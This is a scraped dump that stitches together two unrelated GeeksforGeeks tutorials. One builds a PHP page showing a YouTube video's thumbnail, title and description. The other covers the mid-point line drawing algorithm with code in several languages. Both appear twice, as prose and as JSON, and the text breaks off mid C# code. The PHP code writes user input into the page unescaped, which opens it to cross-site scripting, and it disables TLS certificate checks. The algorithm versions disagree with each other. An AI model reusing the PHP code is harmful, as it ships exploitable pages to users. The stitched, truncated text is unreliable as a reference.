href="style.css"></head> <body> <br /> <p> Please enter the youtube URL in the input </p> <div id="divID" class="container-class"> <form method="post" action="showDetails.php"> <input class="input-class" type="text" name="url" placeholder="Enter your URL"> <br /> <br /> <input class="submit-class" type="submit" name="submit" value="Submit URL"> </form> </div></body> </html> PHP code: The following code demonstrates the “showDetails.php” file used in the above HTML web page. html <?php error_reporting (E_ALL ^ E_NOTICE); /*Just for your server-side code*/ header('Content-Type: text/html; charset=ISO-8859-1');?><!DOCTYPE html><html> <head> <meta charset="utf-8"> <meta name="viewport" content= "width=device-width, initial-scale=1"> <style> .thumbnail-class { width: 50%; margin: 10px; padding: 5px; border-radius: 1px; } #titleDescID { width: 50%; margin: 10px; padding: 10px; } </style></head><br /> <body> <div id="thumbnailID" class="thumbnail-class"> <?php if (isset($_POST['submit'])){ $url = $_POST['url']; /* Extracting the v element from the link*/ $vString = explode("v=", $url); $youtubeId = $vString[1]; } ?> <div id="videoDivID" style="width:600px;height:317px;"> <iframe id="iframe" style="width:100%;height:100%" src="https://www.youtube.com/embed/<?php echo $youtubeId; ?>" data-autoplay-src="https://www.youtube.com/embed/<?php echo $youtubeId; ?>?autoplay=1"> </iframe> </div> </div> <?php //Its different for all users $myApiKey = 'ENTER YOUR API KEY'; $googleApi = 'https://www.googleapis.com/youtube/v3/videos?id =' . $youtubeId . '&key=' . $myApiKey . '&part=snippet'; /* Create new resource */ $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); /* Set the URL and options */ curl_setopt($ch, CURLOPT_URL, $googleApi); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_VERBOSE, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); /* Grab the URL */ $curlResource = curl_exec($ch); /* Close the resource */ curl_close($ch); $youtubeData = json_decode($curlResource); $youtubeVals = json_decode( json_encode($youtubeData), true); $urlTitle = $youtubeVals ['items'][0]['snippet']['title']; $description = $youtubeVals ['items'][0]['snippet']['description']; ?> <div id="titleDescID"> <?php echo '<b>Title: ' . $urlTitle . '</b>'; echo '<b>Description: </b>' . $description; ?> </div></body> </html> CSS code: The following code demonstrates the “style.css” file used in the above HTML code. CSS body{ font-family: Sans-serif,Arial; width: 600px;} .container-class{ background: #e9e9e9; border: #B3B2B2 1px solid; border-radius: 2px; margin: 20px; padding: 40px;} .input-class{ width: 100%; border-radius: 2px; padding: 20px; border: #e9e9e9 1px solid;}.submit-class{ padding: 10px 20px; background: #000; color: #fff; font-size: 0.8em; width: 110px; border-radius: 4px; cursor:pointer; border: black 2px solid;} Output: The following image shows the screen before the user clicks the “Submit URL” button: The following image is shown after the YouTube link is entered by the user and submitted: CSS-Misc HTML-Misc PHP-Misc CSS HTML PHP Web Technologies Web technologies Questions HTML PHP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to set space between the flexbox ? Design a Tribute Page using HTML & CSS Build a Survey Form using HTML and CSS Form validation using jQuery Design a web page using HTML and CSS REST API (Introduction) Hide or show elements in HTML using display property How to set the default value for an HTML <select> element ? How to set input type date in dd-mm-yyyy format using HTML ? HTTP headers | Content-Type
[ { "code": null, "e": 28, "s": 0, "text": "\n15 Oct, 2020" }, { "code": null, "e": 269, "s": 28, "text": "Thumbnails are used for a preview of a single or group of media entities in a single explorer window. It saves time and gives a better focus to the user’s attention and help us grab attention and educate viewer enhancing web design project." }, { "code": null, "e": 647, "s": 269, "text": "The description is a few words more than the title. The more words in the YouTube video description, the possibility of more exact keywords to represent on, which is very important to get found in search engines. Video channels should know data about the video to rank better and get more public views because no one can see what exactly in the video content, so it needs data." }, { "code": null, "e": 952, "s": 647, "text": "The main aim of the title is to represent and describe each result in the best way and which can relate to the user’s search query. The title is the foremost piece of information which is used to decide which link to click on, so it becomes important to retrieve well-understood titles on your web pages." }, { "code": null, "e": 1019, "s": 952, "text": "The titles help the search engine to crawl for the relevant data. " }, { "code": null, "e": 1127, "s": 1019, "text": "Title and Description plays a key role in making the video important and for search engine ranking factors." }, { "code": null, "e": 1288, "s": 1127, "text": "Purpose: The article shows the title, description, and thumbnail for a particular YouTube URL link. HTML form requests a YouTube video URL for the given input. " }, { "code": null, "e": 1474, "s": 1288, "text": "When the user pastes the URL into the input field and submits it, this URL variable will be sent to the PHP file. After getting data from the URL, it will be previewed on the browser. " }, { "code": null, "e": 1503, "s": 1474, "text": "YouTube Video Data API key: " }, { "code": null, "e": 1550, "s": 1503, "text": "YouTube Data API is available free for usage. " }, { "code": null, "e": 1641, "s": 1550, "text": "We need the YouTube data API key for the implementation of the following example program. " }, { "code": null, "e": 1824, "s": 1641, "text": "Each YouTube video will have a specific ID associated with it and this ID is passed to the API call for data retrieval. Let us see step by step how to create a YouTube data API key. " }, { "code": null, "e": 1834, "s": 1824, "text": "Approach:" }, { "code": null, "e": 1913, "s": 1834, "text": "Go to the Google Developer Console link and login to your own Google account. " }, { "code": null, "e": 2000, "s": 1913, "text": "After logging in, go to the link and click on the blue-colored CREATE PROJECT button. " }, { "code": null, "e": 2077, "s": 2000, "text": "We have to wait for some time until Google prepares the developers’ project." }, { "code": null, "e": 2123, "s": 2077, "text": "Fill in the project name of your own choice. " }, { "code": null, "e": 2181, "s": 2123, "text": "In Google API Console, click the ‘Select a project link’." }, { "code": null, "e": 2234, "s": 2181, "text": "Then click the plus button (+) to create a project. " }, { "code": null, "e": 2329, "s": 2234, "text": "Enter the project name of your own choice and select other options >> Click the create button." }, { "code": null, "e": 2426, "s": 2329, "text": "It takes a few seconds to set up a developer’s new project. Once it’s done, select your project." }, { "code": null, "e": 2543, "s": 2426, "text": "Click the library link on the left navigation menu. Under the YouTube APIs section, click the YouTube Data API link." }, { "code": null, "e": 2644, "s": 2543, "text": "Enable the YouTube Data API v3 to access the YouTube data by clicking the uppercased ENABLE button. " }, { "code": null, "e": 2761, "s": 2644, "text": "Click the Credentials link on the left navigation menu. Press the “Create credentials button” selecting the API key." }, { "code": null, "e": 2876, "s": 2761, "text": "A dialog box will appear with your newly created API Key. Use this API key in the YouTube Data API v3 API request." }, { "code": null, "e": 3160, "s": 2876, "text": "HTML code: The following code shows the HTML form to request YouTube video URL for the given input. When the user pasting the URL into the input field, this URL variable will be sent to the “showDetails.php” file. After getting data from the URL, it will be previewed on the browser." }, { "code": null, "e": 3165, "s": 3160, "text": "HTML" }, { "code": "<!DOCTYPE html><html> <head> <link rel=\"stylesheet\" href=\"style.css\"></head> <body> <br /> <p> Please enter the youtube URL in the input </p> <div id=\"divID\" class=\"container-class\"> <form method=\"post\" action=\"showDetails.php\"> <input class=\"input-class\" type=\"text\" name=\"url\" placeholder=\"Enter your URL\"> <br /> <br /> <input class=\"submit-class\" type=\"submit\" name=\"submit\" value=\"Submit URL\"> </form> </div></body> </html>", "e": 3758, "s": 3165, "text": null }, { "code": null, "e": 3860, "s": 3758, "text": "PHP code: The following code demonstrates the “showDetails.php” file used in the above HTML web page." }, { "code": null, "e": 3865, "s": 3860, "text": "html" }, { "code": "<?php error_reporting (E_ALL ^ E_NOTICE); /*Just for your server-side code*/ header('Content-Type: text/html; charset=ISO-8859-1');?><!DOCTYPE html><html> <head> <meta charset=\"utf-8\"> <meta name=\"viewport\" content= \"width=device-width, initial-scale=1\"> <style> .thumbnail-class { width: 50%; margin: 10px; padding: 5px; border-radius: 1px; } #titleDescID { width: 50%; margin: 10px; padding: 10px; } </style></head><br /> <body> <div id=\"thumbnailID\" class=\"thumbnail-class\"> <?php if (isset($_POST['submit'])){ $url = $_POST['url']; /* Extracting the v element from the link*/ $vString = explode(\"v=\", $url); $youtubeId = $vString[1]; } ?> <div id=\"videoDivID\" style=\"width:600px;height:317px;\"> <iframe id=\"iframe\" style=\"width:100%;height:100%\" src=\"https://www.youtube.com/embed/<?php echo $youtubeId; ?>\" data-autoplay-src=\"https://www.youtube.com/embed/<?php echo $youtubeId; ?>?autoplay=1\"> </iframe> </div> </div> <?php //Its different for all users $myApiKey = 'ENTER YOUR API KEY'; $googleApi = 'https://www.googleapis.com/youtube/v3/videos?id =' . $youtubeId . '&key=' . $myApiKey . '&part=snippet'; /* Create new resource */ $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); /* Set the URL and options */ curl_setopt($ch, CURLOPT_URL, $googleApi); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_VERBOSE, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); /* Grab the URL */ $curlResource = curl_exec($ch); /* Close the resource */ curl_close($ch); $youtubeData = json_decode($curlResource); $youtubeVals = json_decode( json_encode($youtubeData), true); $urlTitle = $youtubeVals ['items'][0]['snippet']['title']; $description = $youtubeVals ['items'][0]['snippet']['description']; ?> <div id=\"titleDescID\"> <?php echo '<b>Title: ' . $urlTitle . '</b>'; echo '<b>Description: </b>' . $description; ?> </div></body> </html>", "e": 6384, "s": 3865, "text": null }, { "code": null, "e": 6476, "s": 6384, "text": "CSS code: The following code demonstrates the “style.css” file used in the above HTML code." }, { "code": null, "e": 6480, "s": 6476, "text": "CSS" }, { "code": "body{ font-family: Sans-serif,Arial; width: 600px;} .container-class{ background: #e9e9e9; border: #B3B2B2 1px solid; border-radius: 2px; margin: 20px; padding: 40px;} .input-class{ width: 100%; border-radius: 2px; padding: 20px; border: #e9e9e9 1px solid;}.submit-class{ padding: 10px 20px; background: #000; color: #fff; font-size: 0.8em; width: 110px; border-radius: 4px; cursor:pointer; border: black 2px solid;}", "e": 6969, "s": 6480, "text": null }, { "code": null, "e": 6978, "s": 6969, "text": "Output: " }, { "code": null, "e": 7063, "s": 6978, "text": "The following image shows the screen before the user clicks the “Submit URL” button:" }, { "code": null, "e": 7153, "s": 7063, "text": "The following image is shown after the YouTube link is entered by the user and submitted:" }, { "code": null, "e": 7162, "s": 7153, "text": "CSS-Misc" }, { "code": null, "e": 7172, "s": 7162, "text": "HTML-Misc" }, { "code": null, "e": 7181, "s": 7172, "text": "PHP-Misc" }, { "code": null, "e": 7185, "s": 7181, "text": "CSS" }, { "code": null, "e": 7190, "s": 7185, "text": "HTML" }, { "code": null, "e": 7194, "s": 7190, "text": "PHP" }, { "code": null, "e": 7211, "s": 7194, "text": "Web Technologies" }, { "code": null, "e": 7238, "s": 7211, "text": "Web technologies Questions" }, { "code": null, "e": 7243, "s": 7238, "text": "HTML" }, { "code": null, "e": 7247, "s": 7243, "text": "PHP" }, { "code": null, "e": 7345, "s": 7247, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 7384, "s": 7345, "text": "How to set space between the flexbox ?" }, { "code": null, "e": 7423, "s": 7384, "text": "Design a Tribute Page using HTML & CSS" }, { "code": null, "e": 7462, "s": 7423, "text": "Build a Survey Form using HTML and CSS" }, { "code": null, "e": 7491, "s": 7462, "text": "Form validation using jQuery" }, { "code": null, "e": 7528, "s": 7491, "text": "Design a web page using HTML and CSS" }, { "code": null, "e": 7552, "s": 7528, "text": "REST API (Introduction)" }, { "code": null, "e": 7605, "s": 7552, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 7665, "s": 7605, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 7726, "s": 7665, "text": "How to set input type date in dd-mm-yyyy format using HTML ?" } ]
Mid-Point Line Generation Algorithm
11 Aug, 2021 Given coordinate of two points A(x1, y1) and B(x2, y2) such that x1 < x2 and y1 < y2. The task to find all the intermediate points required for drawing line AB on the computer screen of pixels. Note that every pixel has integer coordinates.We have discussed below algorithms for this task. DDA algorithm for line drawingIntroduction to Bresenhams’s algorithm for line drawing. DDA algorithm for line drawing Introduction to Bresenhams’s algorithm for line drawing. In this post, Mid-Point Line drawing algorithm is discussed which is a different way to represent Bresenham’s algorithm introduced in previous post.As discussed in previous post, for any given/calculated previous pixel P(Xp,Yp), there are two candidates for the next pixel closest to the line, E(Xp+1, Yp) and NE(Xp+1, Yp+1) (E stands for East and NE stands for North-East).In Mid-Point algorithm we do following. Find middle of two possible next points. Middle of E(Xp+1, Yp) and NE(Xp+1, Yp+1) is M(Xp+1, Yp+1/2).If M is above the line, then choose E as next point.If M is below the line, then choose NE as next point. Find middle of two possible next points. Middle of E(Xp+1, Yp) and NE(Xp+1, Yp+1) is M(Xp+1, Yp+1/2). If M is above the line, then choose E as next point. If M is below the line, then choose NE as next point. How to find if a point is above a line or below a line? Below are some assumptions to keep algorithm simple. We draw line from left to right.x1 < x2 and y1< y2Slope of the line is between 0 and 1. We draw a line from lower left to upper right. We draw line from left to right. x1 < x2 and y1< y2 Slope of the line is between 0 and 1. We draw a line from lower left to upper right. Cases other than above assumptions can be handled using reflection. Let us consider a line y = mx + B. We can re-write the equation as : y = (dy/dx)x + B or (dy)x + B(dx) - y(dx) = 0 Let F(x, y) = (dy)x - y(dx) + B(dx) -----(1) Let we are given two end points of a line (under above assumptions) -> For all points (x,y) on the line, the solution to F(x, y) is 0. -> For all points (x,y) above the line, F(x, y) result in a negative number. -> And for all points (x,y) below the line, F(x, y) result in a positive number. This relationship is used to determine the relative position of M M = (Xp+1, Yp+1/2)So our decision parameter d is, d = F(M) = F(Xp+1, Yp+1/2)How to efficiently find new value of d from its old value? For simplicity, let as write F(x, y) as ax + by + c. Where a = dy b = -dx c = B*dx We got these values from above equation (1)Case 1: If E is chosen then for next point : dnew = F(Xp+2, Yp+1/2) = a(Xp+2) + b(Yp+1/2) + c dold = a(Xp+1) + b(Yp+1/2) + cDifference (Or delta) of two distances: DELd = dnew – dold = a(Xp+2)- a(Xp+1)+ b(Yp+1/2)- b(Yp+1/2)+ c-c = a(Xp) +2a – a(Xp) – a = a. Therefore, dnew = dold + dy. (as a = dy) Case 2: If NE is chosen then for next point : dnew = F(Xp+2, Yp+3/2) = a(Xp+2) + b(Yp+3/2) + c dold = a(Xp+1) + b(Yp+1/2) + cDifference (Or delta) of two distances: DELd = dnew -dold = a(Xp+2)- a(Xp+1)+ b(Yp+3/2)- b(Yp+1/2)+ c-c = a(Xp) + 2a – a(Xp) – a + b(Yp) + 3/2b – b(Yp) -1/2b = a + b Therefore, dnew = dold + dy – dx. (as a = dy , b = -dx)Calculation For initial value of decision parameter d0: d0 = F(X1+1 , Y1+1/2) = a(X1 + 1) + b(Y1 + 1/2) +c = aX1+ bY1 + c + a + b/2 = F(X1,Y1) + a + b/2 = a + b/2 (as F(X1, Y1) = 0 ) d0 = dy – dx/2. (as a = dy, b = -dx)Algorithm: Input (X1,Y1) and (X2,Y2) dy = Y2- Y1 dx = X2 - X1 // initial value of // decision parameter d if(dy<=dx){ d = dy - (dx/2) x = X1 , y = Y1 // plot initial given point Plot(x , y) // iterate through value of X while(x < X2) x = x+1 // 'E' is chosen if (d < 0) d = d + dy // 'NE' is chosen else d = d + dy - dx y = y+1 Plot(x,y)} else if(dx<=dy) { d = dx - (dy/2) x = X1 , y = Y1 // plot initial given point Plot(x , y) // iterate through value of X while(y< Y2) y= y+1 // 'E' is chosen if (d < 0) d = d + dx // 'NE' is chosen else d = d + dx - dy x= x+1 Plot(x,y) } Below is the implementation of above idea: C++ Java Python 3 C# PHP Javascript // C++ program for Mid-point line generation#include<bits/stdc++.h>using namespace std; // Header file for including graphics functions// #include<graphics.h> // midPoint function for line generationvoid midPoint(int X1, int Y1, int X2, int Y2){ // calculate dx & dy int dx = X2 - X1; int dy = Y2 - Y1; if(dy<=dx){ // initial value of decision parameter d int d = dy - (dx/2); int x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to print pixel // of line in graphics cout << x << "," << y << "\n"; // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print pixel // of line in graphics cout << x << "," << y << "\n"; } } else if(dx<dy) { // initial value of decision parameter d int d = dx - (dy/2); int x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to print pixel // of line in graphics cout << x << "," << y << "\n"; // iterate through value of X while (y < Y2) { y++; // E or East is chosen if (d < 0) d = d + dx; // NE or North East is chosen // NE or North East is chosen else { d += (dx - dy); x++; } // Plot intermediate points // putpixel(x,y) is used to print pixel // of line in graphics cout << x << "," << y << "\n"; } }} // Driver programint main(){ // graphics driver and mode // used in graphics.h // int gd = DETECT, gm; // Initialize graphics function // initgraph (&gd, &gm, ""); int X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2); return 0;} // Java program for Mid-point// line generationclass GFG{// midPoint function for line generationstatic void midPoint(int X1, int Y1, int X2, int Y2){ // calculate dx & dy int dx = X2 - X1; int dy = Y2 - Y1; // initial value of decision // parameter d int d = dy - (dx/2); int x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to // print pixel of line in graphics System.out.print(x +"," + y + "\n"); // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print // pixel of line in graphics System.out.print(x +"," + y + "\n"); }} // Driver codepublic static void main (String[] args){ int X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2);}} // This code is contributed by Anant Agarwal. # Python3 program for Mid-point# line generation # midPoint function for line generationdef midPoint(X1,Y1,X2,Y2): # calculate dx & dy dx = X2 - X1 dy = Y2 - Y1 # initial value of decision parameter d d = dy - (dx/2) x = X1 y = Y1 # Plot initial given point # putpixel(x,y) can be used to print pixel # of line in graphics print(x,",",y,"\n") # iterate through value of X while (x < X2): x=x+1 # E or East is chosen if(d < 0): d = d + dy # NE or North East is chosen else: d = d + (dy - dx) y=y+1 # Plot intermediate points # putpixel(x,y) is used to print pixel # of line in graphics print(x,",",y,"\n") # Driver program if __name__=='__main__': X1 = 2 Y1 = 2 X2 = 8 Y2 = 5 midPoint(X1, Y1, X2, Y2) # This code is contributed by ash264 // C# program for Mid-point// line generationusing System; class GFG { // midPoint function for line // generation static void midPoint(int X1, int Y1, int X2, int Y2) { // calculate dx & dy int dx = X2 - X1; int dy = Y2 - Y1; // initial value of decision // parameter d int d = dy - (dx/2); int x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used // to print pixel of line in // graphics Console.Write(x + "," + y + "\n"); // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print // pixel of line in graphics Console.Write(x + "," + y + "\n"); } } // Driver code public static void Main () { int X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2); }} // This code is contributed by nitin mittal. <?php// PHP program for Mid-point// line generation // midPoint function for// line generationfunction midPoint($X1, $Y1, $X2, $Y2){ // calculate dx & dy $dx = $X2 - $X1; $dy = $Y2 - $Y1; // initial value of // decision parameter d $d = $dy - ($dx/2); $x = $X1; $y = $Y1; // Plot initial given point // putpixel(x,y) can be used // to print pixel of line // in graphics echo $x , "," , $y , "\n"; // iterate through // value of X while ($x < $X2) { $x++; // E or East is chosen if ($d < 0) $d = $d + $dy; // NE or North East // is chosen else { $d += ($dy - $dx); $y++; } // Plot intermediate points // putpixel(x,y) is used // to print pixel of // line in graphics echo $x , "," ,$y , "\n"; }} // Driver Code $X1 = 2; $Y1 = 2; $X2 = 8; $Y2 = 5; midPoint($X1, $Y1, $X2, $Y2); // This code is contributed by nitin mittal.?> <script> // JavaScript program for the above approach // midPoint function for line generationfunction midPoint(X1, Y1, X2, Y2){ // calculate dx & dy let dx = X2 - X1; let dy = Y2 - Y1; // initial value of decision // parameter d let d = dy - (dx/2); let x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to // print pixel of line in graphics document.write(x +"," + y + "<br/>"); // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print // pixel of line in graphics document.write(x + "," + y + "<br/>"); }} // Driver Code let X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2); // This code is contributed by chinmoy1997pal.</script> Output: 2,2 3,3 4,3 5,4 6,4 7,5 8,5 Time Complexity: O(x2 – x1)Auxiliary Space: O(1) References: http://www.eng.utah.edu/~cs5600/slides/Wk%202%20Lec02_Bresenham.pdfThis article is contributed by Shivam Pradhan (anuj_charm). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. nitin mittal ash264 vikashkumar14338 pradushjn chinmoy1997pal pankajsharmagfg computer-graphics Algorithms Algorithms Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 52, "s": 24, "text": "\n11 Aug, 2021" }, { "code": null, "e": 343, "s": 52, "text": "Given coordinate of two points A(x1, y1) and B(x2, y2) such that x1 < x2 and y1 < y2. The task to find all the intermediate points required for drawing line AB on the computer screen of pixels. Note that every pixel has integer coordinates.We have discussed below algorithms for this task. " }, { "code": null, "e": 430, "s": 343, "text": "DDA algorithm for line drawingIntroduction to Bresenhams’s algorithm for line drawing." }, { "code": null, "e": 461, "s": 430, "text": "DDA algorithm for line drawing" }, { "code": null, "e": 518, "s": 461, "text": "Introduction to Bresenhams’s algorithm for line drawing." }, { "code": null, "e": 933, "s": 518, "text": "In this post, Mid-Point Line drawing algorithm is discussed which is a different way to represent Bresenham’s algorithm introduced in previous post.As discussed in previous post, for any given/calculated previous pixel P(Xp,Yp), there are two candidates for the next pixel closest to the line, E(Xp+1, Yp) and NE(Xp+1, Yp+1) (E stands for East and NE stands for North-East).In Mid-Point algorithm we do following. " }, { "code": null, "e": 1140, "s": 933, "text": "Find middle of two possible next points. Middle of E(Xp+1, Yp) and NE(Xp+1, Yp+1) is M(Xp+1, Yp+1/2).If M is above the line, then choose E as next point.If M is below the line, then choose NE as next point." }, { "code": null, "e": 1242, "s": 1140, "text": "Find middle of two possible next points. Middle of E(Xp+1, Yp) and NE(Xp+1, Yp+1) is M(Xp+1, Yp+1/2)." }, { "code": null, "e": 1295, "s": 1242, "text": "If M is above the line, then choose E as next point." }, { "code": null, "e": 1349, "s": 1295, "text": "If M is below the line, then choose NE as next point." }, { "code": null, "e": 1461, "s": 1351, "text": "How to find if a point is above a line or below a line? Below are some assumptions to keep algorithm simple. " }, { "code": null, "e": 1596, "s": 1461, "text": "We draw line from left to right.x1 < x2 and y1< y2Slope of the line is between 0 and 1. We draw a line from lower left to upper right." }, { "code": null, "e": 1629, "s": 1596, "text": "We draw line from left to right." }, { "code": null, "e": 1648, "s": 1629, "text": "x1 < x2 and y1< y2" }, { "code": null, "e": 1733, "s": 1648, "text": "Slope of the line is between 0 and 1. We draw a line from lower left to upper right." }, { "code": null, "e": 1802, "s": 1733, "text": "Cases other than above assumptions can be handled using reflection. " }, { "code": null, "e": 2283, "s": 1802, "text": "Let us consider a line y = mx + B. \nWe can re-write the equation as :\ny = (dy/dx)x + B or \n(dy)x + B(dx) - y(dx) = 0\nLet F(x, y) = (dy)x - y(dx) + B(dx) -----(1)\nLet we are given two end points of a line (under\nabove assumptions)\n-> For all points (x,y) on the line, \n the solution to F(x, y) is 0. \n-> For all points (x,y) above the line, \n F(x, y) result in a negative number. \n-> And for all points (x,y) below the line, \n F(x, y) result in a positive number. " }, { "code": null, "e": 2911, "s": 2283, "text": "This relationship is used to determine the relative position of M M = (Xp+1, Yp+1/2)So our decision parameter d is, d = F(M) = F(Xp+1, Yp+1/2)How to efficiently find new value of d from its old value? For simplicity, let as write F(x, y) as ax + by + c. Where a = dy b = -dx c = B*dx We got these values from above equation (1)Case 1: If E is chosen then for next point : dnew = F(Xp+2, Yp+1/2) = a(Xp+2) + b(Yp+1/2) + c dold = a(Xp+1) + b(Yp+1/2) + cDifference (Or delta) of two distances: DELd = dnew – dold = a(Xp+2)- a(Xp+1)+ b(Yp+1/2)- b(Yp+1/2)+ c-c = a(Xp) +2a – a(Xp) – a = a. Therefore, dnew = dold + dy. (as a = dy) " }, { "code": null, "e": 3488, "s": 2911, "text": "Case 2: If NE is chosen then for next point : dnew = F(Xp+2, Yp+3/2) = a(Xp+2) + b(Yp+3/2) + c dold = a(Xp+1) + b(Yp+1/2) + cDifference (Or delta) of two distances: DELd = dnew -dold = a(Xp+2)- a(Xp+1)+ b(Yp+3/2)- b(Yp+1/2)+ c-c = a(Xp) + 2a – a(Xp) – a + b(Yp) + 3/2b – b(Yp) -1/2b = a + b Therefore, dnew = dold + dy – dx. (as a = dy , b = -dx)Calculation For initial value of decision parameter d0: d0 = F(X1+1 , Y1+1/2) = a(X1 + 1) + b(Y1 + 1/2) +c = aX1+ bY1 + c + a + b/2 = F(X1,Y1) + a + b/2 = a + b/2 (as F(X1, Y1) = 0 ) d0 = dy – dx/2. (as a = dy, b = -dx)Algorithm: " }, { "code": null, "e": 4155, "s": 3488, "text": "Input (X1,Y1) and (X2,Y2)\ndy = Y2- Y1\ndx = X2 - X1\n// initial value of \n// decision parameter d\n\n\nif(dy<=dx){\nd = dy - (dx/2)\nx = X1 , y = Y1\n\n// plot initial given point\nPlot(x , y)\n\n// iterate through value of X\nwhile(x < X2)\n x = x+1\n\n // 'E' is chosen\n if (d < 0)\n d = d + dy\n\n // 'NE' is chosen\n else\n d = d + dy - dx\n y = y+1\n Plot(x,y)}\n\nelse if(dx<=dy)\n{\nd = dx - (dy/2)\nx = X1 , y = Y1\n\n// plot initial given point\nPlot(x , y)\n\n// iterate through value of X\nwhile(y< Y2)\n y= y+1\n\n // 'E' is chosen\n if (d < 0)\n d = d + dx\n\n // 'NE' is chosen\n else\n d = d + dx - dy\n x= x+1\n Plot(x,y)\n}" }, { "code": null, "e": 4198, "s": 4155, "text": "Below is the implementation of above idea:" }, { "code": null, "e": 4202, "s": 4198, "text": "C++" }, { "code": null, "e": 4207, "s": 4202, "text": "Java" }, { "code": null, "e": 4216, "s": 4207, "text": "Python 3" }, { "code": null, "e": 4219, "s": 4216, "text": "C#" }, { "code": null, "e": 4223, "s": 4219, "text": "PHP" }, { "code": null, "e": 4234, "s": 4223, "text": "Javascript" }, { "code": "// C++ program for Mid-point line generation#include<bits/stdc++.h>using namespace std; // Header file for including graphics functions// #include<graphics.h> // midPoint function for line generationvoid midPoint(int X1, int Y1, int X2, int Y2){ // calculate dx & dy int dx = X2 - X1; int dy = Y2 - Y1; if(dy<=dx){ // initial value of decision parameter d int d = dy - (dx/2); int x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to print pixel // of line in graphics cout << x << \",\" << y << \"\\n\"; // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print pixel // of line in graphics cout << x << \",\" << y << \"\\n\"; } } else if(dx<dy) { // initial value of decision parameter d int d = dx - (dy/2); int x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to print pixel // of line in graphics cout << x << \",\" << y << \"\\n\"; // iterate through value of X while (y < Y2) { y++; // E or East is chosen if (d < 0) d = d + dx; // NE or North East is chosen // NE or North East is chosen else { d += (dx - dy); x++; } // Plot intermediate points // putpixel(x,y) is used to print pixel // of line in graphics cout << x << \",\" << y << \"\\n\"; } }} // Driver programint main(){ // graphics driver and mode // used in graphics.h // int gd = DETECT, gm; // Initialize graphics function // initgraph (&gd, &gm, \"\"); int X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2); return 0;}", "e": 6174, "s": 4234, "text": null }, { "code": "// Java program for Mid-point// line generationclass GFG{// midPoint function for line generationstatic void midPoint(int X1, int Y1, int X2, int Y2){ // calculate dx & dy int dx = X2 - X1; int dy = Y2 - Y1; // initial value of decision // parameter d int d = dy - (dx/2); int x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to // print pixel of line in graphics System.out.print(x +\",\" + y + \"\\n\"); // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print // pixel of line in graphics System.out.print(x +\",\" + y + \"\\n\"); }} // Driver codepublic static void main (String[] args){ int X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2);}} // This code is contributed by Anant Agarwal.", "e": 7240, "s": 6174, "text": null }, { "code": "# Python3 program for Mid-point# line generation # midPoint function for line generationdef midPoint(X1,Y1,X2,Y2): # calculate dx & dy dx = X2 - X1 dy = Y2 - Y1 # initial value of decision parameter d d = dy - (dx/2) x = X1 y = Y1 # Plot initial given point # putpixel(x,y) can be used to print pixel # of line in graphics print(x,\",\",y,\"\\n\") # iterate through value of X while (x < X2): x=x+1 # E or East is chosen if(d < 0): d = d + dy # NE or North East is chosen else: d = d + (dy - dx) y=y+1 # Plot intermediate points # putpixel(x,y) is used to print pixel # of line in graphics print(x,\",\",y,\"\\n\") # Driver program if __name__=='__main__': X1 = 2 Y1 = 2 X2 = 8 Y2 = 5 midPoint(X1, Y1, X2, Y2) # This code is contributed by ash264", "e": 8142, "s": 7240, "text": null }, { "code": "// C# program for Mid-point// line generationusing System; class GFG { // midPoint function for line // generation static void midPoint(int X1, int Y1, int X2, int Y2) { // calculate dx & dy int dx = X2 - X1; int dy = Y2 - Y1; // initial value of decision // parameter d int d = dy - (dx/2); int x = X1, y = Y1; // Plot 